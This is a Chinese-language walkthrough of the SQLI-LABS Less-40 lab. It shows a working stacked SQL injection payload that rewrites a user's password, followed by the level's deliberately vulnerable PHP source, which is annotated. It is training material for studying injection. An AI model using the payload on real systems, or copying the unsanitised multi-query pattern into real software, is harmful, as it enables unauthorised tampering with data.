关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):
http://localhost/sqli-labs/Less-40/
都 Less-40 了,相信强大如你,对于这种没做任何过滤的站点,测出其后端模板一定很容易:
select * from users where id=('$_GET["id"]');-- 笔者备注,别被迷了眼,以为没有 (),就跟下面测试的语句一样select * from users where id=('1' and 1='1'); -- 会显示信息,因为 '1' and '1' 为真select * from users where id=('1' and 1='0'); -- 不会显示信息,因为 '1' and '0' 为假
在进行堆叠注入前,看一下我们受害者的原始数据(本关说是盲注,估计是隐藏了报错信息,回头我们做源码分析的时候可以看一下):
根据我们测试出来的 SQL 模板,可以使用如下 Payload 对其进行堆叠攻击(那些表名、字段名啥的,都是用我们之前的方法一个一个测试出来的):
-- 修改 id = 1 的用户密码为 HACKER1');update users set password='HACKER' where id=1;#
如上,我们已经能够随意篡改用户密码了。至此,SQLI LABS Less-40 GET-BLIND Based-String-Stacked 成功过关。
0x02:源码分析
下面是 SQLI LABS Less-40 GET-BLIND Based-String-Stacked 后端的部分源码,以及笔者做的笔记:
<?php// take the variables if (isset($_GET['id'])) {$id = $_GET['id'];//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host, $dbuser, $dbpass, $dbname);// Check connectionif (mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Unable to connect to the database: $dbname");}// 本关的问题出在 () 这里,很多人因为测试语句,会误以为后端模板为:// select * from users where id='$_GET["id"]' LIMIT 0,1; 导致自己拼接进去的 ; 无效,还会疑惑嘞,实际上它们压根没有逃逸出模板中。$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";/* execute multi query */// mysqli_multi_query => 执行一个或多个针对数据库的查询,多个查询用分号进行分隔。 if (mysqli_multi_query($con1, $sql)) {/* store first result set */// mysqli_stroe_result => 转移将上一次查询返回的结果集(多个结果)if ($result = mysqli_store_result($con1)) {if ($row = mysqli_fetch_row($result)) {echo '<font size = "5" color= "#00FF00">';printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}// mysqli_free_result($result);}/* print divider */if (mysqli_more_results($con1)) {// mysqli_more_results => 如果当前执行的查询存在多个结果,返回 “真”,否则返回 “假”//printf("-----------------\n");}//while (mysqli_next_result($con1));}/* close connection */mysqli_close($con1);} else {echo "Please input the ID as parameter with numeric value";}?>